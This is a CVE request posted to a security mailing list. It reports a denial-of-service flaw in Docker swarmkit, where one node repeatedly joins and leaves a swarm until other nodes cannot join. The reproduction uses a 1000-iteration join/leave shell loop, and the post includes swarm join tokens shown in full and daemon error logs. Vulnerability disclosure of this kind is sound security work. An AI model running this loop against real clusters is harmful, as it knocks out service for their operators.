cve request: docker swarmkit Dos occurs by repeatly joining and quitting swam cluster as a node

[张开翔 <zhangkaixiang () 360 cn>]

Docker swarmkit is used to form a swarm, coordinating tasks. Once a machine joins, it becomes a Swarm Node. Nodes can 
either be worker nodes or manager nodes.
 I found a vulnerability in docker of the latest version which could cause a Denial of Service, it results in a machine 
could not join the swarm cluster after another node’s repeatedly
joining and quitting the swarm for many times(taking my testing as example , it should need at least one thousand 
times. )Moreover, the docker debugging info indicates
the Dispatcher is stopped and ca server may exited sometimes.


# docker version
Client:
Version:      1.12.0-dev
API version:  1.25
Go version:   go1.6.3
Git commit:   9c1be54-unsupported
Built:        Fri Jul 29 15:40:52 2016
OS/Arch:      linux/amd64

Server:
Version:      1.12.0-dev
API version:  1.25
Go version:   go1.6.3
Git commit:   9c1be54-unsupported
Built:        Fri Jul 29 15:40:52 2016
OS/Arch:      linux/amd64

# docker swarm init
Swarm initialized: current node (23m6ksr96whsvuo8lzokenju3) is now a manager.

To add a worker to this swarm, run the following command:
    docker swarm join \
    --token SWMTKN-1-30f6ibzpscqh05qqdog85ktr8ptcw7ttn4wy5cwixy1wfchhb9-aljewtdn5727g1pldxnevjh51 \
    xx.xx.xx.xx:2377

To add a manager to this swarm, run the following command:
    docker swarm join \
    --token SWMTKN-1-30f6ibzpscqh05qqdog85ktr8ptcw7ttn4wy5cwixy1wfchhb9-0p086z2sdbnpvognjmu76gpi6 \
    xx.xx.xx.xx :2377

Login machine A1 and join the swarm ,and then quitted the swarm.
-----------------------------------------------------
# docker swarm join --token SWMTKN-1-30f6ibzpscqh05qqdog85ktr8ptcw7ttn4wy5cwixy1wfchhb9-aljewtdn5727g1pldxnevjh51 
xx.xx.xx.xx:2377
This node joined a swarm as a worker.
# docker swarm leave --force
Node left the swarm.

Login machine A2 , repeatedly join and quit the swarm for 1000 times.
-----------------------------------------------------
# for i in {1..1000}; do docker swarm leave --force ; docker swarm join --token 
SWMTKN-1-30f6ibzpscqh05qqdog85ktr8ptcw7ttn4wy5cwixy1wfchhb9-aljewtdn5727g1pldxnevjh51 xx.xx.xx.xx:2377 ;done
This node joined a swarm as a worker.
Node left the swarm.
This node joined a swarm as a worker.
Node left the swarm.
This node joined a swarm as a worker.
Node left the swarm.
This node joined a swarm as a worker.
Node left the swarm.
This node joined a swarm as a worker.
Node left the swarm.

After finishing that, Login machine A1 again and attempt to join the swarm, it failed.
--------------------------------------------------------
# docker swarm join --token SWMTKN-1-30f6ibzpscqh05qqdog85ktr8ptcw7ttn4wy5cwixy1wfchhb9-aljewtdn5727g1pldxnevjh51 
xx.xx.xx.xx:2377
Error response from daemon: Timeout was reached before node was joined. Attempt to join the cluster will continue in 
the background. Use "docker info" command to see the current swarm status of your node.

  Some debugging information of docker daemon.
  ---------------------------------------------------------
time="2016-07-29T15:24:02.374560815+08:00" level=error msg="failed to remove node" error="rpc error: code = 10 desc = 
dispatcher is stopped" method="(*Dispatcher).Session" node.id=b11ta5p8g2wgy10vyzgsi6ocm 
node.session=1aph8scsewn89j3h5o3emgdql
time="2016-07-29T15:24:02.374604898+08:00" level=error msg=" session failed" error="rpc error: code = 1 desc = context 
canceled" module=agent
         time="2016-07-29T15:24:14.069347074+08:00" level=debug msg="heartbeat expiration"
time="2016-07-29T15:24:14.069428834+08:00" level=error msg="failed deregistering node after heartbeat expiration" 
error="rpc error: code = 10 desc = dispatcher is stopped"
… …

Please assign CVE IDs for the security issue ?

  Best regards&
  Kaixiang Zhang of the Cloud Security Team, Qihoo 360